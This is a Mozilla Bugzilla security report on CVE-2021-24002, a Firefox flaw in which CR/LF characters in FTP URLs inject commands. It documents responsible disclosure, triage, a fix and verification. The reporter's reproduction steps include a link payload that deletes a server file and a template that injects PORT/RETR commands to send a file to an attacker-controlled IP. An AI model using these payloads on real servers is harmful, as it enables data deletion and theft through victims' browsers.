Closed Bug 1702374 (CVE-2021-24002) Opened 8 months ago Closed 8 months ago

Arbitrary ftp command execution using ftp URLs

Categories

(Core :: Networking: FTP, defect, P1)

defect

Tracking

()

VERIFIED FIXED
89 Branch
Tracking Status
firefox-esr78 88+ verified
firefox87 --- wontfix
firefox88 + verified
firefox89 + verified

People

(Reporter: danielberredo, Assigned: valentin)

References

(Regression)

Details

(Keywords: sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?][necko-triaged][adv-main88+] [adv-esr78.10+])

Attachments

(6 files)

Attached file ftps.py

On Firefox 87.0 (64-bit) FTP URLs (e.g. ftp://xxxx/yyy) allow the control characters %0A and %0D as part of the filename. This allows an attacker to craft a link that when accessed by a victim with the proper permissions will execute arbitrary commands on the FTP server.

The following steps can be used to reproduce the issue:

  • To emulate an FTP server, run the attached ftps.py FTP server (you need to install pyftpdlib first)
  • On the same directory create a file named test
  • Create an HTML page containing link like: <a href="ftp://[YOUR_FTP_SERVER_ADDRESS]/A%0D%0ADELE%20test">Download</a>
  • From a machine running Firefox 87.0 with network access to the FTP server access the malicious page and click on the link
  • Check the test file is deleted

IMPACT
An attacker may force a victim to execute FTP commands on a server on which the attacker has no previous access. Moreover, allowing control characters in FTP URLs may permit NAT slipstreaming attacks depending on the victim's router's configuration and FTP ALG implementation.

Flags: sec-bounty?

Another possibility is issuing a PORT command to a host under the attacker's control followed by a GET command. This would allow an attacker to download files to its server impersonating the victim who clicked the malicious link.

Attached video PoC video

This is a PoC video demonstrating the attacker can make the user delete files on the FTP server by clicking the malicious link.

Attached file PoC malicious page

This is the PoC HTML page used in the previously attached PoC video. In order to use this, you need to replace the [YOUR_FTP_SERVER_ADDRESS] string in the page's link href attribute with an address of an FTP server you have running.

PoC video showing the remote download attack variant. In this case, the attacker issues a PORT command followed by a RETR command to download a file from the FTP server to a server they control.

The following payload template can be used to replicate the attack:
ftp://[FTP_SERVER]/file.txt%0D%0APORT%20[ATTACKER_SERVER_IP (e.g. 198,51,100,102)],31,64%0D%0ARETR%20[FILENAME_TO_DOWNLOAD]

Group: firefox-core-security → network-core-security
Component: Security → Networking: FTP
Product: Firefox → Core

Annoying.... if COVID hadn't put a pause on disabling things (bug 1625822) we would have gotten rid of FTP support last year (bug 1574475).

Not sure how bad this is in practice. An ftp server that allows deletions over anonymous FTP is in trouble with or without this bug. I imagine an attack scenario involves targeting a user who has recently logged in to an FTP server with the appropriate privileges to do destructive actions.

Valentin: how long do we remember FTP login credentials? Or is each connection a completely new session and the user:pass has to be present in each ftp:// URL ? If the attacker has to supply the credentials this isn't a very useful attack (though clearly a bug and unwanted behavior). If we remember auth for a server then this is kind of like a CSRF attack and much more severe

If it's the former we can probably just wait for FTP to die. If it's the latter we should fix it as a security bug without waiting.

Status: UNCONFIRMED → NEW
Depends on: kill-ftp
Ever confirmed: true
Flags: needinfo?(valentin.gosu)

Just to clarify something, the attacker is not entering the credentials. The victim navigates to the malicious page and clicks on the "Download" link and firefox asks the victim for credentials if required.
The deletion PoC is just an example, but IMO the remote download is way more interesting. If an attacker makes a victim clicks on a malicious link inside a corporate network they could download files from an FTP server that is not even accessible from the Internet. In this case, the impact exists despite the FTP server requiring authentication or not.

The injection of an FTP PORT command is indeed noteworthy. To clarify on behalf of the reporter:
The way FTP works is that the client usually supplies an IP and port combination that the server is supposed to send its data to.
Given a known file path, the attacker can use the browser reach through a corporate firewall and tell the FTP server to send it to an IP address and port of the attackers choosing.

So this is a neat trick but as an info leak probably something like sec-low or sec-moderate...

If it makes any difference, this is how I would score this vulnerability according to CVSS 3.1: AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L. This vector results in a 5.5 score, so I would call it a medium severity vulnerability.

@Daniel Santos, we use https://wiki.mozilla.org/Security_Severity_Ratings/Client to rate a bug's severity.

(In reply to Daniel Veditz [:dveditz] from comment #5)

Annoying.... if COVID hadn't put a pause on disabling things (bug 1625822) we would have gotten rid of FTP support last year (bug 1574475).

Not sure how bad this is in practice. An ftp server that allows deletions over anonymous FTP is in trouble with or without this bug. I imagine an attack scenario involves targeting a user who has recently logged in to an FTP server with the appropriate privileges to do destructive actions.

Valentin: how long do we remember FTP login credentials? Or is each connection a completely new session and the user:pass has to be present in each ftp:// URL ? If the attacker has to supply the credentials this isn't a very useful attack (though clearly a bug and unwanted behavior). If we remember auth for a server then this is kind of like a CSRF attack and much more severe

From a quick test with ftp://test.rebex.net/ user:demo password:password it seems we only request the password the first time.
A second navigation to that origin will not require a password, but even the first navigation would be problematic if the user doesn't inspect the URL bar.

Given that this also affects ESR, I think it needs fixing ASAP, even if I'm ripping out the FTP code in Firefox 90.

Assignee: nobody → valentin.gosu
Severity: -- → S2
Type: task → defect
Flags: needinfo?(valentin.gosu)
Priority: -- → P1
Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?][necko-triaged]

It turns out we previously had a check for these special characters (added in bug 250906) but I removed it when I removed nsIProtocolHandler.newURI in bug 1536744 </facepalm>

Regressed by: 1536744

[Tracking Requested - why for this release]:
FTP is disabled in 88 but can still be enabled via pref or by a webextension.
FTP is still enabled in esr78

Comment on attachment 9214077 [details]
Bug 1702374 - Make sure FTP URL does not contain special characters r=#necko

Beta/Release Uplift Approval Request

  • User impact if declined: This bug makes it possible for the attacker to execute arbitrary commands on the FTP server that the user has access to.
    FTP is disabled in 88 by default, but the user can still flip the pref. The pref can also be flipped by an extension via the webextension API, so it would be good to uplift this.
  • Is this code covered by automated tests?: No
  • Has the fix been verified in Nightly?: No
  • Needs manual test from QE?: Yes
  • If yes, steps to reproduce: See comment 0
  • List of other uplifts needed: None
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): Low risk because FTP is disabled by default on 88.
  • String changes made/needed:

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration:
  • User impact if declined: This bug makes it possible for the attacker to execute arbitrary commands on the FTP server that the user has access to.
  • Fix Landed on Version:
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): The patch fixes a regression by rejecting URLs that contain embedded \r\n\0.
    We previously rejected such URLs, but the restriction was accidentally removed in bug 1536744.
  • String or UUID changes made by this patch:
Attachment #9214077 - Flags: approval-mozilla-esr78?
Attachment #9214077 - Flags: approval-mozilla-beta?
Flags: qe-verify+

I'm setting the 88/89 status to affected mainly for tracking reasons - as noted elsewhere in the bug, only ESR78 still has FTP support enabled by default.

Comment on attachment 9214077 [details]
Bug 1702374 - Make sure FTP URL does not contain special characters r=#necko

Approved for 88.0b9 and 78.10esr.

Attachment #9214077 - Flags: approval-mozilla-esr78?
Attachment #9214077 - Flags: approval-mozilla-esr78+
Attachment #9214077 - Flags: approval-mozilla-beta?
Attachment #9214077 - Flags: approval-mozilla-beta+
Group: network-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 8 months ago
Resolution: --- → FIXED
Target Milestone: --- → 89 Branch
QA Whiteboard: [qa-triaged]

Reproduced the initial issue described in comment 0, verified that using latest Nightly 89.0a1, Firefox 88.0b9 and latest ESR build from treeherder this is not reproducible anymore.

Status: RESOLVED → VERIFIED
QA Whiteboard: [qa-triaged]
Flags: qe-verify+
Whiteboard: [reporter-external] [client-bounty-form] [verif?][necko-triaged] → [reporter-external] [client-bounty-form] [verif?][necko-triaged][adv-main88+]
Flags: sec-bounty? → sec-bounty+
Whiteboard: [reporter-external] [client-bounty-form] [verif?][necko-triaged][adv-main88+] → [reporter-external] [client-bounty-form] [verif?][necko-triaged][adv-main88+] [adv-esr78.10+]
Alias: CVE-2021-24002

Hi, how long should I wait before writing an article about how I found this bug?

Thanks,

Group: core-security-release
You need to log in before you can comment on or make changes to this bug.